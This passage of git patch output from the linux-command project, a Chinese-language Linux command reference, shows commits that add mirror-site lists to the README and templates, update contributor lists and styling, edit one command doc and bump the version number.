平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file diff --git a/template/contributors.ejs b/template/contributors.ejs index 81cce14e78f..a911724e970 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -188,8 +188,40 @@

- 数据来源于 GitHub Contributors，使用action-contributors创建。 + 数据来源于 GitHub Contributors，使用 action-contributors 创建。

+

镜像网站

+
+ srebro.cn + getaifun.com + linux.devonline.net + man.zch.ooo + linux.mmoke.com + bqrdh.com + linux.zyimm.com + linux.vovuo.com + linux.liguiying.cn + renye.net + diqi.org + linux.alistnas.top + nenufm.com + linux.jiangyang.online + linuxsearch.largeinfo.cc +
+

魔改网站

+
+ linux.ftqq.com + linux.gaomeluo.com + atoolbox.net + xiaoshanseo.com + 262235.xyz + cmsblogs.cn + loquy.cn + buyao.vip + hezhiqiang.gitbook.io + utils.fun + 51tools.info +
<%- include('widget/footer',{type: "list"}); %> <%- include('partial/footer'); %> diff --git a/template/styl/index.styl b/template/styl/index.styl index f0cb0b04db5..23d3d0a531d 100644 --- a/template/styl/index.styl +++ b/template/styl/index.styl @@ -282,6 +282,17 @@ mq-mobile = "screen and (max-width: 479px)" a { font-weight: bold; } + .links { + display: inline-flex; + flex-wrap: wrap; + } + .links a { + background: var(--color-theme-bg); + height: 2.1rem; + border-radius: 0.3rem; + gap: 0.1rem; + padding: 0rem 0.5rem 0rem 0.4rem; + } } @media mq-mobile { diff --git a/template/widget/footer.ejs b/template/widget/footer.ejs index 966863110a6..3bea7dbaca9 100644 --- a/template/widget/footer.ejs +++ b/template/widget/footer.ejs @@ -17,4 +17,7 @@ <%=describe.command_length?describe.command_length:''%> 个Linux命令，超过 50+ 贡献者 +
+ 推荐自己的镜像网站 +
\ No newline at end of file From 944ab9c3990617824b447fb49bdeb5d3232dc099 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Fri, 13 Jun 2025 14:35:17 +0800 Subject: [PATCH 485/570] website: udpate contributors page. --- template/contributors.ejs | 2 +- template/styl/index.styl | 3 +++ template/widget/footer.ejs | 17 ++++++++++------- 3 files changed, 14 insertions(+), 8 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index a911724e970..8f87054b9a8 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -190,7 +190,7 @@

数据来源于 GitHub Contributors，使用 action-contributors 创建。

-

镜像网站

+

镜像网站

srebro.cn getaifun.com diff --git a/template/styl/index.styl b/template/styl/index.styl index 23d3d0a531d..5f5acde1a7c 100644 --- a/template/styl/index.styl +++ b/template/styl/index.styl @@ -171,6 +171,9 @@ mq-mobile = "screen and (max-width: 479px)" &.home { border-top 0 } + div { + font-size 12px + } } .header.home { .header_inner { diff --git a/template/widget/footer.ejs b/template/widget/footer.ejs index 3bea7dbaca9..9da12da4d87 100644 --- a/template/widget/footer.ejs +++ b/template/widget/footer.ejs @@ -11,13 +11,16 @@ 打赏捐赠 | Github | 短地址：https://git.io/linux -
- 收藏本站请使用 Ctrl+D 或者Command+d -
共搜集到 - - <%=describe.command_length?describe.command_length:''%> - 个Linux命令，超过 50+ 贡献者
- 推荐自己的镜像网站 + 收藏本站请使用 Ctrl+D 或者Command+d +
+ 共搜集到 + + <%=describe.command_length?describe.command_length:''%> + 个Linux命令，超过 50+ 贡献者 +
+
+ 镜像网站列表， + 推荐自己的镜像网站
\ No newline at end of file From c7795cd3fe88cfeae227a9d80f82503de4c8cbe5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Fri, 13 Jun 2025 14:45:29 +0800 Subject: [PATCH 486/570] doc: Update README.md --- README.md | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index cd890c74514..74d73ac6f20 100644 --- a/README.md +++ b/README.md @@ -65,6 +65,8 @@ ⚠️ 你们拿过去部署的静态网站，还是希望挂个 GitHub 地址，这样大家共同维护命令文档，让文档更加完善，更加丰富，当然你删除本站所有信息相关信息，其实我也不太在意，默认允许你们随意搞，我不负任何负责。如果您也部署了一份，可以将网址放到下面 :)。 +由于中国国内访问，时常打不开，你可以访问下面镜像网站(国内打不开的不再收录)。推荐自己的[镜像网站 #649](https://github.com/jaywcjlove/linux-command/issues/649) + **推荐使用的镜像 web 版本** [**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/)，[`renye.net`](https://renye.net/)，[`diqi.org`](https://diqi.org/)，[`linux.alistnas.top`](https://linux.alistnas.top/)，[`nenufm.com`](https://www.nenufm.com/linux-command/)，[`linux.jiangyang.online`](https://linux.jiangyang.online/) @@ -85,7 +87,7 @@ - [`@chenjiandongx/how`](https://github.com/chenjiandongx/how) Python 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供 - [`@chenjiandongx/pls`](https://github.com/chenjiandongx/pls) Golang 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供 -## Docker +## Docker 部署 [![Docker Image Version (latest by date)](https://img.shields.io/docker/v/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Pulls](https://img.shields.io/docker/pulls/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) @@ -93,16 +95,12 @@ ```bash docker pull wcjiang/linux-command -# Or -docker pull ghcr.io/jaywcjlove/linux-command:latest ``` ```bash docker run --name linux-command --rm -d -p 9665:3000 wcjiang/linux-command:latest # Or docker run --name linux-command -itd -p 9665:3000 wcjiang/linux-command:latest -# Or -docker run --name linux-command -itd -p 9665:3000 ghcr.io/jaywcjlove/linux-command:latest ``` 在浏览器中访问以下 URL From 3b822160e6e295b8751654541e1e2d5983415212 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Fri, 13 Jun 2025 14:56:22 +0800 Subject: [PATCH 487/570] doc: update README.md #649 --- README.md | 29 +++++++++++++++++++++++++++-- template/contributors.ejs | 1 + 2 files changed, 28 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 74d73ac6f20..21033632848 100644 --- a/README.md +++ b/README.md @@ -69,11 +69,36 @@ **推荐使用的镜像 web 版本** -[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/)，[`renye.net`](https://renye.net/)，[`diqi.org`](https://diqi.org/)，[`linux.alistnas.top`](https://linux.alistnas.top/)，[`nenufm.com`](https://www.nenufm.com/linux-command/)，[`linux.jiangyang.online`](https://linux.jiangyang.online/) +[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc) +[**`srebro.cn`**](https://linux.srebro.cn/) +[**`getaifun.com`**](https://getaifun.com/linux) +[**`linux.devonline.net`**](http://linux.devonline.net/) +[**`man.zch.ooo`**](https://man.zch.ooo/) +[**`linux.mmoke.com`**](https://linux.mmoke.com) +[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/) +[**`linux.zyimm.com`**](http://linux.zyimm.com/) +[**`linux.vovuo.com`**](https://linux.vovuo.com/) +[`linux.liguiying.cn`](https://linux.liguiying.cn/) +[`renye.net`](https://renye.net/) +[`diqi.org`](https://diqi.org/) +[`linux.alistnas.top`](https://linux.alistnas.top/) +[`nenufm.com`](https://www.nenufm.com/linux-command/) +[`linux.jiangyang.online`](https://linux.jiangyang.online/) **其它 web 版本** -[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`utils.fun`](https://linux.utils.fun/)，[`51tools.info`](https://51tools.info/linux/) +[`lylme.com`](https://linux.lylme.com/) +[`linux.ftqq.com`](https://linux.ftqq.com/) +[`linux.gaomeluo.com`](https://linux.gaomeluo.com) +[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826) +[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/) +[`262235.xyz`](https://262235.xyz/linux-command/) +[`cmsblogs.cn`](https://linux.cmsblogs.cn/) +[`loquy.cn`](https://www.loquy.cn/linux-command/) +[`buyao.vip`](https://demo.buyao.vip/linux/) +[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/) +[`utils.fun`](https://linux.utils.fun/) +[`51tools.info`](https://51tools.info/linux/) ## 其它版本 diff --git a/template/contributors.ejs b/template/contributors.ejs index 8f87054b9a8..95b02b55b4b 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -210,6 +210,7 @@

魔改网站

+ linux.lylme.com linux.ftqq.com linux.gaomeluo.com atoolbox.net From a8a0ba31c121209802e19f4a4b4dcc587c0bc5db Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Wed, 25 Jun 2025 02:38:17 +0800 Subject: [PATCH 488/570] doc: Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 21033632848..e87c446592f 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,7 @@ 非常感谢一直以来支持我开源项目的朋友们！如果您认可我的工作，欢迎通过 [赞助](https://wangchujiang.com/#/sponsor) 我或下载并使用我开发的 [macOS 应用](https://wangchujiang.com/#/app) 来支持我。以下是我个人独立开发的 macOS 应用列表：

+ Vidwall Mousio Hint Mousio Musicer From 22b9eb69d05afb6d75cb8d9062335d91a9f6885f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 24 Jun 2025 18:38:44 +0000 Subject: [PATCH 489/570] doc: update README.md. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index e87c446592f..657615edf87 100644 --- a/README.md +++ b/README.md @@ -481,7 +481,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. MinsonLee Mystic Q.Ben Zheng -Alan +PanHeng azroy Cui Yang DaYangtuo247 From 69550d1f97a7f0602ff1a85e8f202b628df31c13 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 24 Jun 2025 18:38:45 +0000 Subject: [PATCH 490/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 95b02b55b4b..0d6ad81808d 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -135,7 +135,7 @@ MinsonLee Mystic Q.Ben Zheng -Alan +PanHeng azroy Cui Yang DaYangtuo247 From b968a554c5f95cf4c15772ed6ff9074c6b16de8d Mon Sep 17 00:00:00 2001 From: Hang <5147530+huhuhang@users.noreply.github.com> Date: Thu, 3 Jul 2025 15:36:41 +0800 Subject: [PATCH 491/570] doc: update Linux resources in README.md (#650) --- README.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 657615edf87..462fb3f15cf 100644 --- a/README.md +++ b/README.md @@ -278,7 +278,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ### 社区网站 - [Linux中国](https://linux.cn/) - 各种资讯、文章、技术 -- [实验楼](https://www.shiyanlou.com/) - 免费提供了Linux在线环境，不用在自己机子上装系统也可以学习Linux，超方便实用。 +- [LabEx](https://labex.io/) - 免费提供了Linux在线环境，不用在自己机子上装系统也可以学习Linux，超方便实用。 - [鸟哥的linux私房菜](http://linux.vbird.org/) - 非常适合Linux入门初学者看的教程。 - [Linux公社](http://www.linuxidc.com/) - Linux相关的新闻、教程、主题、壁纸都有。 - [Linux Today](http://www.linuxde.net) - Linux新闻资讯发布，Linux职业技术学习！。 @@ -288,10 +288,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 - [Linux思维导图整理](http://www.jianshu.com/p/59f759207862) - [Linux初学者进阶学习资源整理](http://www.jianshu.com/p/fe2a790b41eb) -- [Linux 基础入门（新版）](https://www.shiyanlou.com/courses/1) +- [Linux 新手入门（动手实验）](https://labex.io/zh/courses/linux-for-noobs) - [【译】Linux概念架构的理解](http://www.jianshu.com/p/c5ae8f061cfe) [En](http://oss.org.cn/ossdocs/linux/kernel/a1/index.html) - [Linux 守护进程的启动方法](http://www.ruanyifeng.com/blog/2016/02/linux-daemon.html) -- [Linux编程之内存映射](https://www.shiyanlou.com/questions/2992) - [Linux知识点小结](https://blog.huachao.me/2016/1/Linux%E7%9F%A5%E8%AF%86%E7%82%B9%E5%B0%8F%E7%BB%93/) - [10大白帽黑客专用的 Linux 操作系统](https://linux.cn/article-6971-1.html) From 6e1768c8e8e1216f160829c7d689949856fc1e27 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 3 Jul 2025 07:37:12 +0000 Subject: [PATCH 492/570] doc: update README.md. --- README.md | 41 +++++++++++++++++++++-------------------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/README.md b/README.md index 462fb3f15cf..7219260fa52 100644 --- a/README.md +++ b/README.md @@ -377,34 +377,35 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Xrtero Shan Chenyu SteveLauC -duzhuoshanwai +BingCoke gggwvg VVatt -will +will xhal Shell 沙漠之子 alfred Wang Yujia Qliangw +Ein Verne +FunKeen +Jeremy2214 +Pan, Wen-Ming +QinShower +duzhuoshanwai Dazhuangw Alterem +RichardLCD YH Xingwen Zhang -RichardLCD -QinShower -Pan, Wen-Ming -Jeremy2214 -BingCoke -FunKeen -Ein Verne -lewis1573 -leo -NanoNova -kassadin -juemuren4449 -jqz3.tech +illmons jcdj666 +jqz3.tech +juemuren4449 +kassadin +NanoNova +leo +lewis1573 linuxwd Ricardowang cole @@ -412,7 +413,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans -zyimm +0x_000 dayday Deny dongpohezui @@ -429,7 +430,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. hotdogc1017 huangyao hululu1068 -illmons +zyimm 七朔 孤城落寞 尘埃 @@ -463,7 +464,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 -0x_000 +Jelly Nexchard Karl Horky LaudOak @@ -479,7 +480,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Marnm MinsonLee Mystic -Q.Ben Zheng PanHeng azroy Cui Yang @@ -490,12 +490,13 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Frankie Github1977 Guiying Li +Hang 重劍無鋒 HighScorePlayer Huntout Zhang Jack Jack.A.Black -Jelly +Q.Ben Zheng Xonline-Tech Xu Chunyang Yan Sheng From 837c8529fe253f81a8264a009646e791e658660a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 3 Jul 2025 07:37:12 +0000 Subject: [PATCH 493/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 41 ++++++++++++++++++++------------------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 0d6ad81808d..56cfb98cb56 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -32,34 +32,35 @@ Xrtero Shan Chenyu SteveLauC -duzhuoshanwai +BingCoke gggwvg VVatt -will +will xhal Shell 沙漠之子 alfred Wang Yujia Qliangw +Ein Verne +FunKeen +Jeremy2214 +Pan, Wen-Ming +QinShower +duzhuoshanwai Dazhuangw Alterem +RichardLCD YH Xingwen Zhang -RichardLCD -QinShower -Pan, Wen-Ming -Jeremy2214 -BingCoke -FunKeen -Ein Verne -lewis1573 -leo -NanoNova -kassadin -juemuren4449 -jqz3.tech +illmons jcdj666 +jqz3.tech +juemuren4449 +kassadin +NanoNova +leo +lewis1573 linuxwd Ricardowang cole @@ -67,7 +68,7 @@ miniwater noodles2hg nsnans -zyimm +0x_000 dayday Deny dongpohezui @@ -84,7 +85,7 @@ hotdogc1017 huangyao hululu1068 -illmons +zyimm 七朔 孤城落寞 尘埃 @@ -118,7 +119,7 @@ zodiac zoomdong zuixin369 -0x_000 +Jelly Nexchard Karl Horky LaudOak @@ -134,7 +135,6 @@ Marnm MinsonLee Mystic -Q.Ben Zheng PanHeng azroy Cui Yang @@ -145,12 +145,13 @@ Frankie Github1977 Guiying Li +Hang 重劍無鋒 HighScorePlayer Huntout Zhang Jack Jack.A.Black -Jelly +Q.Ben Zheng Xonline-Tech Xu Chunyang Yan Sheng From 400530b74a00e2953ce4232bc04e9756bc6c64cf Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Tue, 8 Jul 2025 11:44:21 +0800 Subject: [PATCH 494/570] =?UTF-8?q?chore:=20=E6=B7=BB=E5=8A=A0=E9=95=9C?= =?UTF-8?q?=E5=83=8F=E7=BD=91=E7=AB=99=20fix=20#651?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 1 + template/contributors.ejs | 5 +++-- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 7219260fa52..22a8fb8b59f 100644 --- a/README.md +++ b/README.md @@ -70,6 +70,7 @@ **推荐使用的镜像 web 版本** +[**`linux.sicangge.com`**](https://linux.sicangge.com) [**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc) [**`srebro.cn`**](https://linux.srebro.cn/) [**`getaifun.com`**](https://getaifun.com/linux) diff --git a/template/contributors.ejs b/template/contributors.ejs index 56cfb98cb56..3b7403ba60f 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -193,6 +193,8 @@

镜像网站

+ linux.sicangge.com + linuxsearch.largeinfo.cc srebro.cn getaifun.com linux.devonline.net @@ -207,11 +209,10 @@ linux.alistnas.top nenufm.com linux.jiangyang.online - linuxsearch.largeinfo.cc

魔改网站

- linux.lylme.com + lylme.com linux.ftqq.com linux.gaomeluo.com atoolbox.net From 67bb207d4488e2fd68b85ec31dc4a0aab3eae62c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Tue, 8 Jul 2025 11:56:55 +0800 Subject: [PATCH 495/570] doc: update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 22a8fb8b59f..d4a44fec653 100644 --- a/README.md +++ b/README.md @@ -102,6 +102,8 @@ [`utils.fun`](https://linux.utils.fun/) [`51tools.info`](https://51tools.info/linux/) +在项目仓库和网站上添加你部署的镜像链接，这不仅有助于提升你网站的**权重**，还能加快搜索引擎的抓取和收录速度。 + ## 其它版本 - [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) From 5d241873495d3b60c08457191601dec4df529d5d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Tue, 8 Jul 2025 12:03:42 +0800 Subject: [PATCH 496/570] doc: update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index d4a44fec653..f4f5e971b0e 100644 --- a/README.md +++ b/README.md @@ -102,7 +102,7 @@ [`utils.fun`](https://linux.utils.fun/) [`51tools.info`](https://51tools.info/linux/) -在项目仓库和网站上添加你部署的镜像链接，这不仅有助于提升你网站的**权重**，还能加快搜索引擎的抓取和收录速度。 +在项目仓库和网站上[添加你部署的镜像链接](https://github.com/jaywcjlove/linux-command/issues/649#issue-3141950597)，这不仅有助于提升你网站的**权重**，还能加快搜索引擎的抓取和收录速度。 ## 其它版本 From 38b99d65c3536a835f93cb953012b15290194570 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Tue, 8 Jul 2025 12:17:20 +0800 Subject: [PATCH 497/570] doc: update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index f4f5e971b0e..094e918d469 100644 --- a/README.md +++ b/README.md @@ -66,7 +66,7 @@ ⚠️ 你们拿过去部署的静态网站，还是希望挂个 GitHub 地址，这样大家共同维护命令文档，让文档更加完善，更加丰富，当然你删除本站所有信息相关信息，其实我也不太在意，默认允许你们随意搞，我不负任何负责。如果您也部署了一份，可以将网址放到下面 :)。 -由于中国国内访问，时常打不开，你可以访问下面镜像网站(国内打不开的不再收录)。推荐自己的[镜像网站 #649](https://github.com/jaywcjlove/linux-command/issues/649) +由于中国国内访问，时常打不开，你可以通过推荐或提交 PR 的方式添加你的[镜像站 #649](https://github.com/jaywcjlove/linux-command/issues/649#issue-3141950597)，以提升权重并加快搜索引擎收录。 **推荐使用的镜像 web 版本** From d65d44786e403e6778b636a110491cbe52d38819 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Tue, 8 Jul 2025 12:27:38 +0800 Subject: [PATCH 498/570] doc: update README.md --- README.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/README.md b/README.md index 094e918d469..c4a362022de 100644 --- a/README.md +++ b/README.md @@ -102,8 +102,6 @@ [`utils.fun`](https://linux.utils.fun/) [`51tools.info`](https://51tools.info/linux/) -在项目仓库和网站上[添加你部署的镜像链接](https://github.com/jaywcjlove/linux-command/issues/649#issue-3141950597)，这不仅有助于提升你网站的**权重**，还能加快搜索引擎的抓取和收录速度。 - ## 其它版本 - [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) From 1b582d2b73f56eb4fb5eed0a72e9f7e23c66613e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Wed, 9 Jul 2025 11:15:32 +0800 Subject: [PATCH 499/570] doc: Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index c4a362022de..5a86e56299f 100644 --- a/README.md +++ b/README.md @@ -62,11 +62,11 @@ [![Linux 命令大全](https://user-images.githubusercontent.com/1680273/123261829-ce830300-d529-11eb-8cea-a39059b972dd.gif)](https://jaywcjlove.github.io/linux-command/) -你可以随意部署 web 版，这非常简单，只需要克隆 [`gh-pages`](https://github.com/jaywcjlove/linux-command/tree/gh-pages) 分支代码到你的静态服务就可以了。你也可以将 [`command`](https://github.com/jaywcjlove/linux-command/tree/master/command) 目录中的 Markdown 文件拿去自己生成 HTML。还可以使用下方 docker 方法部署 web 版。 +你可以随意部署 web 版，这非常简单，只需要克隆 [gh-pages](https://github.com/jaywcjlove/linux-command/tree/gh-pages) 分支代码到你的静态服务就可以了。你也可以将 [`command`](https://github.com/jaywcjlove/linux-command/tree/master/command) 目录中的 Markdown 文件拿去自己生成 HTML。还可以使用下方 [Docker 部署](#docker-部署) web 版。 -⚠️ 你们拿过去部署的静态网站，还是希望挂个 GitHub 地址，这样大家共同维护命令文档，让文档更加完善，更加丰富，当然你删除本站所有信息相关信息，其实我也不太在意，默认允许你们随意搞，我不负任何负责。如果您也部署了一份，可以将网址放到下面 :)。 +⚠️ 部署的静态网站，还是希望挂个 GitHub 地址，这样大家共同维护命令文档，让文档更加完善，更加丰富，当然删除本站所有相关信息，其实我也不太在意，默认允许你们随意搞，我不负任何负责。如果您也部署了一份，可以将网址放到下面 :)。 -由于中国国内访问，时常打不开，你可以通过推荐或提交 PR 的方式添加你的[镜像站 #649](https://github.com/jaywcjlove/linux-command/issues/649#issue-3141950597)，以提升权重并加快搜索引擎收录。 +由于中国国内访问，时常打不开，你可以访问下面镜像网站。也可以通过推荐或提交 PR 的方式添加你的[镜像站 #649](https://github.com/jaywcjlove/linux-command/issues/649#issue-3141950597)，以提升权重并加快搜索引擎收录。 **推荐使用的镜像 web 版本** From e606d90765714960337484ab3411afa5ed1c96f6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Wed, 9 Jul 2025 11:18:03 +0800 Subject: [PATCH 500/570] doc: update named-checkzone.md --- command/named-checkzone.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/named-checkzone.md b/command/named-checkzone.md index ee0e9a53df8..fae559de49d 100644 --- a/command/named-checkzone.md +++ b/command/named-checkzone.md @@ -1,7 +1,7 @@ named-checkzone === -使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称 +使用 named-checkzone 可验证并转换区域文件，需指定区域名和文件名。 ## 补充说明 From 059fcaea4b01779e5d7b34cf825180152afa1945 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Wed, 9 Jul 2025 11:20:19 +0800 Subject: [PATCH 501/570] released v1.21.0 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index a5b637f755c..79777a2abe4 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.20.0", + "version": "1.21.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From ced636849cd194035b7d427cc830efd551302deb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Wed, 9 Jul 2025 11:46:57 +0800 Subject: [PATCH 502/570] doc: add mirror site #649 --- README.md | 23 ++++++++++++----------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index 5a86e56299f..9d3932ce508 100644 --- a/README.md +++ b/README.md @@ -70,28 +70,29 @@ **推荐使用的镜像 web 版本** -[**`linux.sicangge.com`**](https://linux.sicangge.com) -[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc) +[**`sicangge.com`**](https://linux.sicangge.com) +[**`largeinfo.cc`**](http://linuxsearch.largeinfo.cc) [**`srebro.cn`**](https://linux.srebro.cn/) [**`getaifun.com`**](https://getaifun.com/linux) -[**`linux.devonline.net`**](http://linux.devonline.net/) +[**`devonline.net`**](http://linux.devonline.net/) [**`man.zch.ooo`**](https://man.zch.ooo/) -[**`linux.mmoke.com`**](https://linux.mmoke.com) +[**`mmoke.com`**](https://linux.mmoke.com) [**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/) -[**`linux.zyimm.com`**](http://linux.zyimm.com/) -[**`linux.vovuo.com`**](https://linux.vovuo.com/) -[`linux.liguiying.cn`](https://linux.liguiying.cn/) +[**`zyimm.com`**](http://linux.zyimm.com/) +[**`vovuo.com`**](https://linux.vovuo.com/) +[**`shinote.net`**](https://linux.shinote.net/) +[`liguiying.cn`](https://linux.liguiying.cn/) [`renye.net`](https://renye.net/) [`diqi.org`](https://diqi.org/) -[`linux.alistnas.top`](https://linux.alistnas.top/) +[`alistnas.top`](https://linux.alistnas.top/) 